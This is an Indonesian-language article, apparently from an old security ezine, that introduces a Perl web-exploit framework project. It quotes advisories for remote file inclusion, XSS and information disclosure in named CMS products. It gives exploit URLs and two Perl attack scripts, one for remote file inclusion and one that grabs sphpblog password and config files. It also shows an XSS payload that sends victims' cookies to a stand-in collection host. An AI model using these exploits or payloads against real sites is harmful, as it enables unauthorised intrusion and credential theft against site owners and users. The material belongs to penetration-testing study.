Artikel ini membahas tentang suatu project pembuatan aplikasi yang
dapat digunakan untuk melakukan penetration testing / assessment
terhadap aplikasi yang di jalankan pada suatu web server (khususnya
aplikasi CMS)

Project Name : WebXploit Framework
Unique Name : w[x]f
Leader : y3dips
web : http://wxf.siteburg.com
member : 1 (still one)
License : GNU/GPL
Programming
language : PERL
OS : Independent
Descr i ption : Aplikasi yang dapat digunakan untuk melakukan
pen-test/assessment terhadap aplikasi web
-- web application exploit library ---
started : April 2005


------| Preface


Setelah mengunjungi event BCS'05[1], penulis semakin yakin untuk memulai
project ini, terutama setelah mendapatkan input dari world-class hackers.

"Saat ini target hacking sudah berubah dari sistem ke aplikasi."
-- Skyper, Phrack editor-in-chief

"95% perusahaan kena hack dari aplikasi web."
"3 dari 4 website vulnerable."
-- Shreeraj Shah, Net-Square founder
"Web Hacking: Attacks and Defense" author

"Dari statistik Zone-H, sebagian besar defacement terjadi karena
sistem yang tidak di-patch dan juga kelalaian admin."
-- Roberto Preatoni aka Sys64738, Zone-H founder

Secara lengkap, informasi mengenai BCS'05 dapat dilihat pada website
resminya[1] dan juga event summary[2] yang penulis buat.


------| Background


Semakin maraknya aksi hacking menggunakan web/http yang lebih dikenal
dengan istilah web-hacking membuat "w[x]f project" ini layak untuk
digarap serius.

Sebenarnya ide ini sudah lama terlintas saat penulis mulai belajar mencari
bugs/holes/vulnerabilities aplikasi web (khususnya CMS) dan dengan
beberapa jenis attack yang terdata (WATSC) ataupun tak terdata maka
terdapat pola untuk "metode penyerangan" dan "exploitasi" terhadap
aplikasi-aplikasi itu berbeda.


------| Basic Theory


Perhatikan beberapa advisories berikut ini:


---| I. PHP remote file inclusion


1. Remote Command Execution vulnerability in BBS E-Market Professional
[http://echo.or.id/adv/adv06-y3dips-2004.txt]

Vulnerabilities:
~~~~~~~~~~~~~~~~

Remote command execution on becommunity (modules that support by
BBSemarket professional) makes insecure calls to the include() function
of PHP (works on " pageurl= " functions) which can allow the inclusion
of remote files, and thereby the execution of arbitrary commands by
remote user with the web server user permissions, usually 'nobody' .

Exploit:
~~~~~~~~
http://[URL]/becommunity/community/index.php?pageurl=[evil file]


2. SocialMPN Remote File Inclusion
[http://waraxe.us/ftopic-542-0-days0-orderasc-.html]

# SocialMPN Remote File Inclusion
# 06/03/2005
# discovered by zer0-c00l (irc.BRASnet.org at #NMAP)
# or email (lucaszero [at] gmail [dot] com)
# Versions of SocialMPN affected: All versions.
# SocialMPN oficial site: www.socialmpn.com (Its vulnerable too)
# PS.: A lot of sites (maybe all sites) has SafeMode in PHP.

Exploit:
~~~~~~~~
http://[URL]/modules.php?name=[evil file]&file=article&sid=2


Untuk melakukan proses eksploitasi, kita dapat menggunakan scr i pt berikut..

<++> echo11-008/becommunity-exp.pl
#!/usr/bin/perl -w

require LWP::UserAgent;

if(@ARGV == 1)
{

$target= $ARGV[0];//http://[victim]/becommunity/community/index.php?pageurl=
$xploit= $ARGV[1];//http://[attacker]/cmd.txt

my $ua = LWP::UserAgent->new;
$ua->agent("MSIE/6.0 Windows");
$ua->timeout(10);
$ua->env_proxy;

$url = "http://$target=$exploit";
my $injek = $ua->get($url);

print " -------------------------------\n";
if ($injek->is_success)
{ print $injek->content;}
else
{die $injek->status_line;}
print " -------------------------------\n";
}

else
{ print "Use: perl $0 [target] \n"; }
<--> echo11-008/becommunity.pl


---| II. XSS (Cross site scr i pting)


1. XSS on endonesia CMS

Exploit:
~~~~~~~~
http://[URL]/endon/mod.php?mod=publisher&op=search&query=%3Cscr i pt%
\3Ealert()%3C/scr i pt%3E


2. XSS on Exponent CMS

Exploit:
~~~~~~~~
http://[URL]/expo/index.php?action=createuser&module=%3Cscr i pt%3Ealert
\()%3C/scr i pt%3E


perhatikan kesamaan diantara dua metode eksplotasi diatas sehingga bisa kita
membuat formula seperti..

http://[URL]/[Vuln Path]=[XSS]

dan mengubah command dari alert(), menjadi
document.location='http://www.dummy.com/ambilkue.php?kue='+;

<++> echo11-008/ambilkue.php

<--> echo11-008/ambilkue.php

Selanjutnya tinggal menampilkan hasil dari file "catet.txt".


---| III. Information disclosure


1. Information Dislosure in SphpBlog
[http://echo.or.id/adv/adv12-y3dips-2005.txt]

Exploit:
~~~~~~~~
http://[Url]/sphpblog/config/password.txt
http://[Url]/sphpblog/config/config.txt

<<>>

http://[URL]/[Path]/[file]

Saya telah membuatkan scr i pt sederhana untuk grabbing isi file

<++> echo11-008/sphpblog-exp.pl
#!/usr/bin/perl -w

print "\n*Remote grabbing sphpblog password&config file by y3dips*\n";
require LWP::UserAgent;

if(@ARGV == 1)
{

$target= $ARGV[0];

my $ua = LWP::UserAgent->new;
$ua->agent("MSIE/6.0 Windows");
$ua->timeout(10);
$ua->env_proxy;

my @url = ("http://$target/config/password.txt",
\"http://$target/config/config.txt");

foreach my $urlz (@url) {
my $injek = $ua->get($urlz);
print "\n-------------------------------\n";
if ($injek->is_success)
{ print $injek->content;}
else
{die $injek->status_line;}
print "\n-------------------------------\n";

}
}
else {
print "Use: perl $0 [www.target.com] \n";
}

# EOF y3dips(c)2005
<--> echo11-008/sphpblog-exp.pl


---| IV. etc..

Masih banyak lagi jenis web vulnerabilites yang memiliki kesamaan dalam
metode pengexploitasiannya. Untuk info mengenai jenis vulnerabilities
web bisa melihat artikel yang dikeluarkan oleh www.webappsec.org

>>title : Web Application Security Consortium Threat Clasification
>>url : http://www.webappsec.org/projects/threat/v1/WASC-TC-v1_0.txt


------| Core System


Untuk tahap awal, w[x]f masih bersifat pasif -- hanya mengumpulkan informasi
terhadap aplikasi web beserta exploitnya, dan pada pengembangan lanjut,
w[x]f diharapkan dapat digunakan sebagai pentest//web assessment tool.

Adapun beberapa hal yang menjadi acuan :

0. Dibuat dengan bahasa pemrograman PERL (bisa di kembangkan dengan C)
1. Pengggunaan module LWP untuk menggantikan metode penggunaan socket
2. Penggunaan module untuk mempermudah manajemen penambahan exploit
3. Metasploit framework[3] untuk aplikasi contoh struktur dan interface
4. HTTrack untuk metode grabbing keseluruhan situs (pengembangan)
5. WIKTO untuk metode scanning dan google-hack (pengembangan)

simple Map


|(Use)
+-> - php injection ---+
- Xss |(choose)
- info Disc +-> - becommunity --+
- SQl injection - SocialMPN |(exploit)
- path traversal +-->Set Target URL
- [etc] Set Exploit URL
Set command*
(source: www.echo.or.id)